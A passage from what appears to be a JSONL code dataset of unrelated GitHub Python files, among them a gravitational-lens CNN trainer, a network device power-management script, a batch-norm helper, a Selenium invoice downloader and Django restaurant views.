psf_fwhm)\n # ========== Summary and logs ==================================================================================\n _time = time.time() - start\n time_per_step.update_state([_time])\n cost.update_state([loss])\n epoch_chi_squared.update_state([chi_squared])\n step += 1\n\n tf.summary.scalar(\"Time per step\", time_per_step.result(), step=step)\n tf.summary.scalar(\"MSE\", cost.result(), step=step)\n tf.summary.scalar(\"Learning Rate\", optim.lr(step), step=step)\n print(f\"epoch {epoch} | train loss {cost.result().numpy():.3e} \"\n f\"| lr {optim.lr(step).numpy():.2e} | time per step {time_per_step.result().numpy():.2e} s\"\n f\"| chi sq {epoch_chi_squared.result().numpy():.2e}\")\n history[\"cost\"].append(cost.result().numpy())\n history[\"chi_squared\"].append(epoch_chi_squared.result().numpy())\n history[\"learning_rate\"].append(optim.lr(step).numpy())\n history[\"time_per_step\"].append(time_per_step.result().numpy())\n history[\"step\"].append(step)\n history[\"wall_time\"].append(time.time() - global_start)\n\n if np.isnan(cost.result().numpy()):\n print(\"Training broke the Universe\")\n break\n if cost.result().numpy() < (1 - args.tolerance) * best_loss:\n best_loss = cost.result().numpy()\n patience = args.patience\n else:\n patience -= 1\n if (time.time() - global_start) > args.max_time * 3600:\n out_of_time = True\n if save_checkpoint:\n checkpoint_manager.checkpoint.step.assign_add(1) # a bit of a hack\n if epoch % args.checkpoints == 0 or patience == 0 or epoch == args.epochs - 1 or out_of_time:\n with open(os.path.join(checkpoints_dir, \"score_sheet.txt\"), mode=\"a\") as f:\n np.savetxt(f, np.array([[lastest_checkpoint, cost.result().numpy()]]))\n lastest_checkpoint += 1\n checkpoint_manager.save()\n print(\"Saved checkpoint for step {}: {}\".format(int(checkpoint_manager.checkpoint.step),\n checkpoint_manager.latest_checkpoint))\n if patience == 0:\n print(\"Reached patience\")\n break\n if out_of_time:\n break\n if epoch > 0: # First epoch is always very slow and not a good estimate of an epoch time.\n estimated_time_for_epoch = time.time() - epoch_start\n if optim.lr(step).numpy() < 1e-8:\n print(\"Reached learning rate limit\")\n break\n print(f\"Finished training after {(time.time() - global_start) / 3600:.3f} hours.\")\n return history, best_loss\n\n\nif __name__ == \"__main__\":\n from argparse import ArgumentParser\n\n parser = ArgumentParser()\n parser.add_argument(\"--model_id\", default=\"None\", help=\"Start from this model id checkpoint. None means start from scratch\")\n\n # CNN params\n parser.add_argument(\"--filters\", default=16, type=int)\n parser.add_argument(\"--filter_scaling\", default=1, type=float)\n parser.add_argument(\"--kernel_size\", default=3, type=int)\n parser.add_argument(\"--levels\", default=2, type=int)\n parser.add_argument(\"--layer_per_level\", default=2, type=int)\n parser.add_argument(\"--strides\", default=2, type=int)\n parser.add_argument(\"--input_kernel_size\", default=11, type=int)\n parser.add_argument(\"--activation\", default=\"tanh\")\n parser.add_argument(\"--filter_cap\", default=1024, type=int)\n parser.add_argument(\"--output_features\", default=13, type=int) # should not change this\n\n # Physical model parameter\n parser.add_argument(\"--pixels\", default=32, type=int)\n parser.add_argument(\"--image_fov\", default=7.68, type=float)\n parser.add_argument(\"--src_fov\", default=3., type=float)\n parser.add_argument(\"--psf_cutout_size\", default=16, type=int)\n parser.add_argument(\"--r_ein_min\", default=0.5, type=float)\n parser.add_argument(\"--r_ein_max\", default=2.5, type=float)\n parser.add_argument(\"--n_max\", default=3., type=float)\n parser.add_argument(\"--n_min\", default=1., type=float)\n parser.add_argument(\"--r_eff_min\", default=0.2, type=float)\n parser.add_argument(\"--r_eff_max\", default=1., type=float)\n parser.add_argument(\"--max_gamma\", default=0.1, type=float)\n parser.add_argument(\"--max_ellipticity\", default=0.4, type=float)\n parser.add_argument(\"--max_lens_shift\", default=0.3, type=float)\n parser.add_argument(\"--max_source_shift\", default=0.3, type=float)\n parser.add_argument(\"--noise_rms_min\", default=0.001, type=float)\n parser.add_argument(\"--noise_rms_max\", default=0.1, type=float)\n parser.add_argument(\"--noise_rms_mean\", default=0.01, type=float)\n parser.add_argument(\"--noise_rms_std\", default=0.05, type=float)\n parser.add_argument(\"--psf_fwhm_min\", default=0.06, type=float)\n parser.add_argument(\"--psf_fwhm_max\", default=0.5, type=float)\n parser.add_argument(\"--psf_fwhm_mean\", default=0.1, type=float)\n parser.add_argument(\"--psf_fwhm_std\", default=0.1, type=float)\n\n # Training set params\n parser.add_argument(\"-b\", \"--batch_size\", default=1, type=int, help=\"Number of images in a batch. \")\n parser.add_argument(\"--total_items\", required=True, type=int, help=\"Total images in an epoch.\")\n\n # Optimization params\n parser.add_argument(\"-e\", \"--epochs\", default=100, type=int, help=\"Number of epochs for training.\")\n parser.add_argument(\"--optimizer\", default=\"Adamax\", help=\"Class name of the optimizer (e.g. 'Adam' or 'Adamax')\")\n parser.add_argument(\"--initial_learning_rate\", default=1e-4, type=float, help=\"Initial learning rate.\")\n parser.add_argument(\"--decay_rate\", default=0.9, type=float,\n help=\"Exponential decay rate of learning rate (1=no decay).\")\n parser.add_argument(\"--decay_steps\", default=100000, type=int,\n help=\"Decay steps of exponential decay of the learning rate.\")\n parser.add_argument(\"--staircase\", action=\"store_true\",\n help=\"Learning rate schedule only change after decay steps if enabled.\")\n parser.add_argument(\"--patience\", default=np.inf, type=int,\n help=\"Number of step at which training is stopped if no improvement is recorder.\")\n parser.add_argument(\"--tolerance\", default=0, type=float,\n help=\"Current score <= (1 - tolerance) * best score => reset patience, else reduce patience.\")\n parser.add_argument(\"--max_time\", default=np.inf, type=float, help=\"Time allowed for the training, in hours.\")\n parser.add_argument(\"--reset_optimizer_states\", action=\"store_true\",\n help=\"When training from pre-trained weights, reset states of optimizer.\")\n\n # logs\n parser.add_argument(\"--logdir\", default=\"None\", help=\"Path of logs directory. Default if None, no logs recorded.\")\n parser.add_argument(\"--logname\", default=None, help=\"Overwrite name of the log with this argument\")\n parser.add_argument(\"--logname_prefixe\", default=\"RIMSUv3\",\n help=\"If name of the log is not provided, this prefix is prepended to the date\")\n parser.add_argument(\"--model_dir\", default=\"None\", help=\"Path to the directory where to save models checkpoints.\")\n parser.add_argument(\"--checkpoints\", default=5, type=int, help=\"Save a checkpoint of the models each x epochs.\")\n parser.add_argument(\"--max_to_keep\", default=3, type=int, help=\"Max model checkpoint to keep.\")\n parser.add_argument(\"--n_residuals\", default=1, type=int,\n help=\"Number of residual plots to save. Add overhead at the end of an epoch only.\")\n\n # Reproducibility params\n parser.add_argument(\"--seed\", default=None, type=int, help=\"Random seed for numpy and tensorflow.\")\n\n args = parser.parse_args()\n\n main(args)\n","repo_name":"AlexandreAdam/Censai","sub_path":"scripts/train_cnn_analytical.py","file_name":"train_cnn_analytical.py","file_ext":"py","file_size_in_byte":15940,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"15415344232","text":"#!/usr/bin/python\n\"\"\" Remotely manage network devices \"\"\"\n\n__docformat__ = 'epytext en'\n\n######################################################################\n## Constants\n######################################################################\n__version__ = \"0.4\"\n\n######################################################################\n## Imports\n######################################################################\n\nfrom optparse import OptionParser\nimport string\nimport logging\nimport getpass\n\n######################################################################\n## Django Initiatlization\n######################################################################\n\nfrom django.core.management import setup_environ\nimport zenettic.settings\n\nsetup_environ(zenettic.settings)\n\nfrom bodhi.models import Device, History\nfrom bodhi.choices import *\nfrom lib.device import wake_on_lan, shutdown_win, shutdown_nix, ping\nfrom lib.karma import Karma\n\n######################################################################\n## Program options\n######################################################################\nusage = \"usage: %prog [options] NIC\"\ndescription = \"Manage a network device\"\nversion = \"%prog \" + __version__\nparser = OptionParser(usage=usage, version=version, description=description)\nparser.add_option(\"-p\", \"--ping\",\n action=\"store_true\", dest=\"ping\", default=True,\n help=\"Make a ping to the device.\")\nparser.add_option(\"-w\", \"--wol\",\n action=\"store_true\", dest=\"wol\", default=False,\n help=\"Wake up the device.\")\nparser.add_option(\"-r\", \"--reboot\",\n action=\"store_true\", dest=\"reboot\", default=False,\n help=\"Reboot the device.\")\nparser.add_option(\"-s\", \"--shutdown\",\n action=\"store_true\", dest=\"shutdown\", default=False,\n help=\"Shutdown the device.\")\nparser.add_option(\"--username\",\n action=\"store\", dest=\"username\",\n help=\"Username for shutdown\")\nparser.add_option(\"--message\",\n action=\"store\", dest=\"message\",\n help=\"A message\")\nparser.add_option(\"--timeout\",\n action=\"store\", dest=\"timeout\", type=\"int\",\n help=\"An operation timeout in minute.\")\nparser.add_option(\"-i\", \"--history\",\n action=\"store_true\", dest=\"history\", default=False,\n help=\"Display history.\")\nparser.add_option(\"-v\", \"--verbose\",\n action=\"store_true\", dest=\"verbose\", default=False,\n help=\"Print status messages to stdout.\")\n\n(options, args) = parser.parse_args()\n\nif len(args) == 0 :\n parser.error(\"Please specify a NIC.\")\n\n# Default timeout = 5 minutes\nif options.timeout :\n timeout = options.timeout\nelse:\n timeout = 5\n\n# Default username is the username of current user\nif options.username :\n user = options.username\nelse :\n user = getpass.getuser()\n\n######################################################################\n## Logging & History\n######################################################################\n\nif options.verbose :\n log_level=logging.DEBUG\nelse:\n log_level=logging.WARNING\nlogging.basicConfig(format='%(levelname)s-%(asctime)s-%(message)s',\n level=log_level,\n datefmt='%H:%M:%S')\n\nhf = Karma(user=user)\n\n######################################################################\n## Main\n######################################################################\n\nlogging.info(\"Searching devices %s*...\" % args[0])\ndevices = Device.objects.filter(name__istartswith=string.upper(args[0]))\n\nif len(devices) == 0 :\n logging.error(\"Device not found.\")\n exit(1)\n\nfor device in devices :\n logging.info(\"... found devices %s.\" % device)\n if options.shutdown :\n if (device.shutdown == False) :\n logging.error(\"This device don't allow the shutdown.\")\n else:\n if not options.message :\n message = 'Remote shutdown by %s.' % user\n else :\n message = options.message\n print(\"Shutdown device : %s\" % device.name)\n try :\n if (device.platform == 'linux') :\n shutdown_nix(device.name, user, msg=message,\n timeout=timeout)\n else:\n shutdown_win(device.name, user, msg=message,\n timeout=timeout*60)\n except Exception as e:\n logging.error(\"Exception %s\" % e)\n hf.save(device, 2, 1)\n else:\n hf.save(device, 2, 0, message)\n elif options.reboot :\n if (device.shutdown == False) :\n logging.error(\"This device don't allow the shutdown.\")\n else:\n print(\"Reboot device : %s\" % device.name)\n try :\n if (device.platform == 'linux') :\n shutdown_nix(device.name, user, msg=options.message,\n timeout=timeout, reboot=True)\n else:\n shutdown_win(device.name, user, msg=options.message,\n timeout=timeout*60, reboot=True)\n except Exception as e:\n logging.error(\"Exception %s\" % e)\n hf.save(device, 3, 1)\n else:\n hf.save(device, 3, 0, options.message)\n elif options.wol :\n if (device.wakeup == False) :\n logging.error(\"This device don't allow the wake up.\")\n else:\n print(\"Booting with mac address : %s\" % device.MAC)\n try:\n wake_on_lan(device.MAC)\n except Exception as e:\n logging.error(\"Exception %s\" % e)\n hf.save(device, 1, 1)\n else:\n hf.save(device, 1, 0)\n elif options.history :\n record = History.objects.filter(device=device).latest('timestamp')\n print(\"%s %s @ %s -> %s \" %\n (ACTION_TYPES_CHOICES[record.action][1], record.device.name,\n str(record.timestamp)[:19], RESULTS_CODE[record.result][1]))\n else:\n try:\n isUp = ping(device.name)\n except Exception as e:\n logging.error(\"Exception %s\" % e)\n hf.save(device, 0, 1)\n else:\n hf.save(device, 0, not isUp)\n if isUp :\n print(\"Device %s is up.\" % device.name)\n else :\n print(\"Device %s is down.\" % device.name)\n","repo_name":"psampont/zenettic","sub_path":"bodhi.py","file_name":"bodhi.py","file_ext":"py","file_size_in_byte":6510,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"20079164104","text":"from functools import partial\nimport torch\nimport torch.nn as nn\n\nfrom pytorchvideo.layers.batch_norm import (\n NaiveSyncBatchNorm1d,\n NaiveSyncBatchNorm3d,\n) # noqa\n\n\ndef get_norm(cfg):\n \"\"\"\n Args:\n cfg (CfgNode): model building configs, details are in the comments of\n the config file.\n Returns:\n nn.Module: the normalization layer.\n \"\"\"\n if cfg.BN.NORM_TYPE in {\"batchnorm\", \"sync_batchnorm_apex\"}:\n return nn.BatchNorm3d\n elif cfg.BN.NORM_TYPE == \"sub_batchnorm\":\n return partial(SubBatchNorm3d, num_splits=cfg.BN.NUM_SPLITS)\n elif cfg.BN.NORM_TYPE == \"sync_batchnorm\":\n return partial(\n NaiveSyncBatchNorm3d,\n num_sync_devices=cfg.BN.NUM_SYNC_DEVICES,\n global_sync=cfg.BN.GLOBAL_SYNC,\n )\n else:\n raise NotImplementedError(\n \"Norm type {} is not supported\".format(cfg.BN.NORM_TYPE)\n )\n\n\nclass SubBatchNorm3d(nn.Module):\n \"\"\"\n The standard BN layer computes stats across all examples in a GPU. In some\n cases it is desirable to compute stats across only a subset of examples\n (e.g., in multigrid training https://arxiv.org/abs/1912.00998).\n SubBatchNorm3d splits the batch dimension into N splits, and run BN on\n each of them separately (so that the stats are computed on each subset of\n examples (1/N of batch) independently. During evaluation, it aggregates\n the stats from all splits into one BN.\n \"\"\"\n\n def __init__(self, num_splits, **args):\n \"\"\"\n Args:\n num_splits (int): number of splits.\n args (list): other arguments.\n \"\"\"\n super(SubBatchNorm3d, self).__init__()\n self.num_splits = num_splits\n num_features = args[\"num_features\"]\n # Keep only one set of weight and bias.\n if args.get(\"affine\", True):\n self.affine = True\n args[\"affine\"] = False\n self.weight = torch.nn.Parameter(torch.ones(num_features))\n self.bias = torch.nn.Parameter(torch.zeros(num_features))\n else:\n self.affine = False\n self.bn = nn.BatchNorm3d(**args)\n args[\"num_features\"] = num_features * num_splits\n self.split_bn = nn.BatchNorm3d(**args)\n\n def _get_aggregated_mean_std(self, means, stds, n):\n \"\"\"\n Calculate the aggregated mean and stds.\n Args:\n means (tensor): mean values.\n stds (tensor): standard deviations.\n n (int): number of sets of means and stds.\n \"\"\"\n mean = means.view(n, -1).sum(0) / n\n std = (\n stds.view(n, -1).sum(0) / n\n + ((means.view(n, -1) - mean) ** 2).view(n, -1).sum(0) / n\n )\n return mean.detach(), std.detach()\n\n def aggregate_stats(self):\n \"\"\"\n Synchronize running_mean, and running_var. Call this before eval.\n \"\"\"\n if self.split_bn.track_running_stats:\n (\n self.bn.running_mean.data,\n self.bn.running_var.data,\n ) = self._get_aggregated_mean_std(\n self.split_bn.running_mean,\n self.split_bn.running_var,\n self.num_splits,\n )\n\n def forward(self, x):\n if self.training:\n n, c, t, h, w = x.shape\n x = x.view(n // self.num_splits, c * self.num_splits, t, h, w)\n x = self.split_bn(x)\n x = x.view(n, c, t, h, w)\n else:\n x = self.bn(x)\n if self.affine:\n x = x * self.weight.view((-1, 1, 1, 1))\n x = x + self.bias.view((-1, 1, 1, 1))\n return x\n","repo_name":"facebookresearch/SlowFast","sub_path":"slowfast/models/batchnorm_helper.py","file_name":"batchnorm_helper.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":6009,"dataset":"github-code","pt":"3"} +{"seq_id":"18864499817","text":"import random\nimport datetime\n\nclass PsychicImpactFormationCluster:\n def __init__(self):\n self.power_level = 0\n self.luck_boost = 3003\n\n def activate(self):\n print(\"You have activated the Psychic Impact Formation Cluster!\")\n print(\"With great power comes great responsibility...\")\n self.alter_environment()\n\n def alter_environment(self):\n current_day = datetime.datetime.today().weekday()\n current_date = datetime.datetime.today().day\n if (current_date % 2 != 0 and current_date % 4 == 0) and (current_day in [1, 0] or (current_day == 4 and current_date % 2 != 0)):\n print(\"The ability is in effect, luck is increased by 3003%!\")\n self.random_alterations()\n\n def random_alterations(self):\n alterations = [\n \"altering scenes\",\n \"shifting locations\",\n \"changing narratives\",\n \"modifying power levels\",\n \"spawning unexpected characters\"\n ]\n selected_alterations = random.choices(alterations, k=random.randint(1, len(alterations)))\n for alteration in selected_alterations:\n print(f\"The Psychic Impact Formation Cluster is {alteration}!\")\n print(\"Unpredictable consequences and actions occur!\")\n\nif __name__ == \"__main__\":\n psychic_cluster = PsychicImpactFormationCluster()\n psychic_cluster.activate()\n","repo_name":"txtatech/virtual-forest","sub_path":"virtual-forest/game-code/PsychicImpactFormationCluster.py","file_name":"PsychicImpactFormationCluster.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9907622956","text":"class Solution:\n def canJump(self, nums: List[int]) -> bool:\n n = len(nums)\n dp = [0] * n\n dp[0] = nums[0]\n for i in range(1,n):\n if dp[i - 1] < i: return False\n ###动态转换 不太好理解\n dp[i] = max(dp[i - 1], nums[i] + i)\n if dp[i] >= n - 1: return True\n return True if dp[n - 1] >= n - 1 else False","repo_name":"lihe14569/Leetcode","sub_path":"55-jump-game/55-jump-game.py","file_name":"55-jump-game.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18109459935","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#Import Bibliotecas\nimport pandas as pd\nimport requests\nimport os\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nfrom time import sleep \nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport pdfkit\nimport Zip_function\n\n\n# In[ ]:\n\n\n#Criando DF a partir do XLS enviado, pulando duas linhas em branco para criar cabeçalho correto\npath = '/Users/claudiojunior/Desktop/Ponchi_Technology/Script_Python/VAAC/Emissao_NF/Relatorio_Omie_NFs_Opea.xlsx'\ndf = pd.DataFrame(pd.read_excel(path,skiprows = [0,1]))\n\n\n# In[ ]:\n\n\n#Criando DF a partir da lista de NFS\ndf_1 = pd.DataFrame(df,columns = ['Código de Verificação','Documento','Contrato','Cliente'])\ndf_1.rename(columns={'Código de Verificação': 'COD'},inplace = True)\n\ndf_1\n\n\n# In[ ]:\n\n\nfor index,row in df_1.iterrows():\n \n nome_arquivo = (\"/\"+\"NF_\"+str(row[\"Documento\"])+\"_OPEA_\"+ \".pdf\")\n Caminho_novo = \"/Users/claudiojunior/Desktop/Ponchi_Technology/Script_Python/VAAC/Emissao_NF/NFs_OPEA\"\n arquivo = Caminho_novo + nome_arquivo \n \n \n print('Iniciando Conexão')\n options = webdriver.ChromeOptions() \n options.add_argument('window-size=400,800')\n options.add_argument('--headless')\n #options.add_argument(\"user-data-dir=C:/Users/claudio.ponchi/AppData/Local/Google/Chrome/User Data/Default/Accounts\")\n \n Chromedriver = '/Users/claudiojunior/Desktop/Ponchi_Technology/Downloads/chromedriver'\n navegador = webdriver.Chrome(executable_path= Chromedriver, options = options) \n navegador.get('https://nfe.prefeitura.sp.gov.br/publico/verificacao.aspx')\n #pwindow = navegador.current_window_handle\n print('Conexão Estabelecida')\n \n \n \n \n print('Emitindo PDF')\n navegador.find_element(\"xpath\",'//*[@id=\"ctl00_body_tbCPFCNPJ\"]').send_keys('23092592000114')\n sleep(1)\n \n \n navegador.find_element(\"xpath\",'//*[@id=\"ctl00_body_tbNota\"]').send_keys(row[\"Documento\"])\n sleep(1)\n \n \n navegador.find_element(\"xpath\", '//*[@id=\"ctl00_body_tbVerificacao\"]').send_keys(row[\"COD\"])\n sleep(1)\n \n \n navegador.find_element(\"xpath\",'//*[@id=\"ctl00_body_btVerificar\"]').click()\n sleep(1)\n \n \n \n \n get_url = navegador.current_url \n \n #path_wkthmltopdf = b'C:/Program Files/wkhtmltopdf/bin/wkhtmltopdf.exe' \n \n \n PDFKIT_CONFIGURATION = pdfkit.configuration()\n pdfkit.from_url(get_url,arquivo,configuration=PDFKIT_CONFIGURATION)\n \n \n navegador.close() \n print('NF emitida com Sucesso')\n\n\n# In[ ]:\n\n\nZip_function.zip_function(Caminho_novo,'NF_OPEA.zip')\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Claudiojpj/Issue_invoice","sub_path":"Proj.py","file_name":"Proj.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14108292156","text":"# -*- coding: utf-8 -*-\nimport functools\nimport sys\nimport os\nimport time\ntry:\n import cPickle as pk\nexcept:\n try:\n import _pickle as pk\n except:\n import pickle as pk\nimport traceback\nfrom Utils.loggerhandler import mylogger\n\n\ndef check_version():\n if sys.version_info < (3, 0):\n sys.stdout.write('Please use python 3.x to run this script!\\n')\n sys.exit(255)\n\n\ncheck_version()\n\n# prepare logger\njobname = os.path.splitext(os.path.basename(__file__))[0]\nrootdir = os.path.dirname(os.path.abspath(__file__))\nlog_path = rootdir + os.path.sep + 'log'\nlog_file = log_path + os.path.sep + jobname + '.log'\nif not os.path.exists(log_path):\n os.makedirs(log_path, 0o775)\nlogger = mylogger(jobname, log_file)\n\n\n# make sure dir exist\ndef __makesuredirexist__(path):\n if not os.path.exists(path):\n logger.warning('path does not exist: {}'.format(path))\n logger.warning('auto create {}'.format(path))\n os.makedirs(path, 0o775)\n\n\n# make sure file exist\ndef __makesurefileexist__(path):\n if not os.path.exists(path):\n logger.warning('path does not exist: {}'.format(path))\n logger.warning('auto create {}'.format(path))\n open(path, 'w').close()\n\n\n#取关键词之间相似度\ndef get_similarities(words, m, verbose=False):\n res = dict()\n for i, w in enumerate(words):\n w_detail = dict()\n w_similarities = []\n for j, y in enumerate(words):\n if i != j and words[i] in m.wv.vocab and words[j] in m.wv.vocab:\n similarity = m.similarity(words[i], words[j])\n w_similarities.append([words[j], similarity])\n elif i != j and words[i].encode('utf-8') in m.wv.vocab and words[j].encode('utf-8') in m.wv.vocab:\n similarity = m.similarity(words[i].encode('utf-8'), words[j].encode('utf-8'))\n w_similarities.append([words[j], similarity])\n elif i != j:\n similarity = 'unknown'\n w_similarities.append([words[j], similarity])\n w_similarities = sorted(w_similarities, key=functools.cmp_to_key(lambda x, y: 1 if x[1] == 'unknown' else -1 if y[1] == 'unknown' else y[1] - x[1]))\n w_detail['similarities'] = w_similarities\n res[w] = w_detail\n\n # log result\n if verbose:\n for x in res.keys():\n logger.debug(x)\n if 'similarities' in res[x]:\n for y in res[x]['similarities']:\n logger.debug('{} {} {}'.format(x, y[0], y[1]))\n return res\n\n\n\n\n\ndef main(verbose=False):\n df = pk.load(open(infile, 'rb'), encoding='latin1')\n try:\n df['tagging_words_enrich'] = df.tagging_words_enrich.apply(get_entities, args=(True,))\n finally:\n with open(outfile, 'wb') as f:\n pk.dump(df, f)\n if verbose:\n for i in df.index:\n logger.info('-' * 50 + ' {} '.format(i) + '-' * 50)\n a = df.loc[i, 'tagging_words_enrich']\n for k in a:\n logger.info('*' * 25 + ' {} '.format(k) + '*' * 25)\n entity = a.get(k).get('entity')\n if entity == 'UNKNOWN':\n continue\n logger.info('{} {}'.format(k, entity))\n similarities = a.get(k).get('similarities')\n for s in similarities:\n logger.info('{} {}'.format(s[0], s[1]))\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n sys.stderr.write('\\tneed parameters:\\tinfile, outfile\\n')\n sys.exit(255)\n\n infile = os.path.abspath(sys.argv[1])\n outfile = os.path.abspath(sys.argv[2])\n\n # check parameter\n if not os.path.exists(infile):\n sys.stderr.write('$infile does not exist: {}\\n'.format(infile))\n sys.exit(254)\n\n outpath = os.path.dirname(outfile)\n __makesuredirexist__(outpath)\n\n # prepare\n logger.info('{}'.format(str(sys.argv)))\n\n # define constants\n\n # process\n start_time = time.time()\n logger.info('start')\n try:\n main(True)\n except Exception:\n logger.error(\"Unexpected error: \\n%s\", traceback.format_exc())\n finally:\n end_time = time.time()\n logger.info('end')\n logger.info('elapsed {} seconds'.format(end_time - start_time))\n","repo_name":"wemiam/tgenerator","sub_path":"TaxonomyBE/enrich_article_keywords.py","file_name":"enrich_article_keywords.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21982968399","text":"import torch\nfrom torch.utils import data\nimport numpy as np\nimport pickle \nimport os \nimport csv \nimport random\n\n\nclass Accents(data.Dataset):\n \"\"\"Dataset class for the Accent dataset.\"\"\"\n\n def __init__(self, root_dir, file_name, len_crop, mode, label_csv):\n \"\"\"Initialize and preprocess the Accent dataset.\"\"\"\n self.root_dir = root_dir\n self.file_name = file_name\n self.len_crop = len_crop\n self.step = 10\n\n if mode == \"train\":\n metaname = os.path.join(self.root_dir, \"train.pkl\")\n elif mode == \"val\":\n metaname = os.path.join(self.root_dir, \"val.pkl\")\n \n meta = pickle.load(open(metaname, \"rb\"))\n\n # Create dictionary to map speaker to accent\n self.speaker_accent_dict, self.labels = self.make_speaker_accent_dict(label_csv)\n \n self.train_dataset = self.load_data(meta)\n\n self.num_tokens = len(self.train_dataset)\n print(\"Finished loading the dataset... Number of \" + mode + \" samples: \", self.num_tokens) \n\n\n def load_data(self, meta):\n \"\"\"\n Meta is in the form of [\n [speaker_1, speaker_1_emb, melspec_path_1, melspec_path_2, ...], \n [speaker_2, speaker_2_emb, melspec_path_1, melspec_path_2, ...],\n ...]\n\n Loads data in the form of [\n [speaker_1, melspec_1, accent_id], \n [speaker_1, melspec_2, accent_id], \n ...]\n \"\"\"\n speaker_utt_data = []\n for i, speaker_info in enumerate(meta):\n speaker_id = speaker_info[0]\n accent_id = self.speaker_accent_dict[speaker_id.lower()]\n for j, utterance in enumerate(speaker_info):\n if j >= 2: # indices 0 and 1 are speaker id and speaker embedding\n melspec = np.load(os.path.join(self.root_dir, utterance))\n speaker_utt_data.append([speaker_id, melspec, accent_id])\n\n return speaker_utt_data\n \n\n def make_speaker_accent_dict(self, label_csv):\n speaker_accent_lookup = {}\n labels = set()\n with open(label_csv, 'r') as f:\n csv_reader = csv.DictReader(f)\n for row in csv_reader:\n speaker_accent_lookup[row['speaker']] = int(row['label'])\n labels.add(int(row['label']))\n return speaker_accent_lookup, labels\n \n \n def __getitem__(self, index):\n \"\"\"\n Dataset in form [speaker_id, utterance, accent_id]\n \"\"\"\n uttr_data = self.train_dataset[index]\n\n # Generate input utterance\n uttr_raw = uttr_data[1]\n if uttr_raw.shape[0] < self.len_crop:\n len_pad = self.len_crop - uttr_raw.shape[0]\n uttr = np.pad(uttr_raw, ((0,len_pad),(0,0)), 'constant')\n elif uttr_raw.shape[0] > self.len_crop:\n left = np.random.randint(uttr_raw.shape[0] - self.len_crop)\n uttr = uttr_raw[left:left+self.len_crop, :]\n else:\n uttr = uttr_raw\n \n label = torch.tensor(uttr_data[2], dtype=torch.long)\n \n return uttr, label\n \n\n def __len__(self):\n \"\"\"Return the number of samples.\"\"\"\n return self.num_tokens","repo_name":"jwxu/accent-vc","sub_path":"src/data/accent_dataset.py","file_name":"accent_dataset.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75015433680","text":"# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import loader\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom .forms import *\nfrom .models import Restaurant, UserReview\nfrom django.urls import reverse, reverse_lazy\nfrom django.views.generic.edit import CreateView, FormView, UpdateView\nfrom django.views.generic.list import ListView\nfrom django.db.models import Q, Min, Max, Avg\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.decorators import login_required\nimport requests\n\n\n\n\n\n\n# View showing the restaurant list. This will bo home-ish page\ndef index(request):\n restaurants_list = Restaurant.objects.order_by('-id')\n template = loader.get_template('restaurants/index.html')\n context = {\n 'restaurants_list': restaurants_list\n }\n return HttpResponse(template.render(context, request))\n\n\n# Detail page for each restaurant with all info such as address, cuisine type, pics, menu, external links and so on\ndef details(request, restaurant_id):\n # calling restaurant ID and displaying it's data\n restaurant = get_object_or_404(Restaurant, pk=restaurant_id)\n # calling a review and displaying it's data\n user_review_list = UserReview.objects.filter(restaurant__id=restaurant_id)\n user_reviews = []\n print(user_review_list)\n for user_review in user_review_list:\n if user_review.posted_by == request.user:\n user_reviews.append({\"user_review_grade\": user_review.user_review_grade,\n \"user_review_comment\": user_review.user_review_comment,\n \"posted_by\": user_review.posted_by,\n \"edit\": user_review.get_edit_url,\n \"id\": user_review.id})\n else:\n user_reviews.append({\"user_review_grade\": user_review.user_review_grade,\n \"user_review_comment\": user_review.user_review_comment,\n \"posted_by\": user_review.posted_by,\n \"id\": user_review.id})\n\n return render(request, 'restaurants/details.html', {'restaurant': restaurant,\n 'user_review_list': user_reviews,})\n\n# View used to create a new restaurant in the DB\nclass new_restaurant (LoginRequiredMixin, CreateView):\n template_name = 'restaurants/new-restaurant.html'\n form_class = NewRestaurant\n\n # Post the data into the DB\n def post(self, request):\n form = NewRestaurant(request.POST)\n if form.is_valid():\n restaurant = form.save(commit=False) # saves the form\n form.instance.created_by = self.request.user # adds the user logged in\n print(restaurant) # Print so I can see in cmd prompt that something posts as it should\n restaurant.save() # now actually writes it to the DB\n # this return below need reverse_lazy in order to be loaded once all the urls are loaded\n return HttpResponseRedirect(reverse_lazy('restaurants:index'))\n return render(request, 'restaurants/new-restaurant.html', {'form': form})\n\n\n# This class posts user reviews in the DB that are later displayed in details\nclass Reviewing (LoginRequiredMixin, CreateView):\n template_name = 'restaurants/reviewing.html'\n form_class = UserReviewForm\n\n # Get the initial information needed for the form to function: restaurant field\n def get_initial(self, *args, **kwargs):\n initial = super(Reviewing, self).get_initial(**kwargs)\n initial['restaurant'] = self.kwargs['restaurant_id']\n return initial\n\n # Post the data into the DB\n def post(self, request, restaurant_id, *args, **kwargs):\n form = UserReviewForm(request.POST)\n restaurant = get_object_or_404(Restaurant, pk=restaurant_id)\n if form.is_valid():\n review = form.save(commit=False)\n form.instance.posted_by = self.request.user\n print(review) # Print so I can see in cmd prompt that something posts as it should\n review.save()\n # this return below need 